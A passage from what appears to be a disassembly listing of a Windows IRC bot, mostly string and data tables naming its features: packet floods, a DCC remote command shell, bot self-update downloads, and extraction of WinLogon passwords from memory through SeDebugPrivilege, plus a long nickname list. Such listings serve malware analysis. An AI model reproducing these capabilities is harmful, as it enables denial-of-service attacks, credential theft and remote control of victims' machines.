74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_4143F7+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43859C dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+DCo ; "ы.$├÷ [·0╩dXв\"n" dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385B4 dd offset a_JqU0DxN ; DATA XREF: sub_4172C1+CEo ; "ы.$├÷ [·0╩dXв\"n" dd offset byte_520045 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- db 10h db 93h ; ⌠ db 43h ; C db 0 db 88h ; ┬ db 0B1h ; ╠ db 42h ; B db 0 db 0Ch db 93h ; ⌠ db 43h ; C db 0 db 8 db 93h ; ⌠ db 43h ; C db 0 db 4 db 93h ; ⌠ db 43h ; C db 0 db 70h ; p db 0C6h ; ф db 42h ; B db 0 db 34h ; 4 db 0B9h ; ╧ db 42h ; B db 0 db 7Ch ; | db 0B7h ; ╥ db 42h ; B db 0 db 0ECh ; Л db 0CAh ; й db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset off_438C78 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: ___:00438BC8o aShit db 'shit',0 ; DATA XREF: ___:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo align 4 off_438C78 dd offset word_594F42 ; DATA XREF: ___:00438BB8o aFree db 'Free',0 ; DATA XREF: ___:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438B64o aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co aRt db 'rt',0 ; DATA XREF: ___:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: ___:00438A78o aTree db 'tree',0 ; DATA XREF: ___:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: ___:00438A70o aLez db 'lez',0 ; DATA XREF: 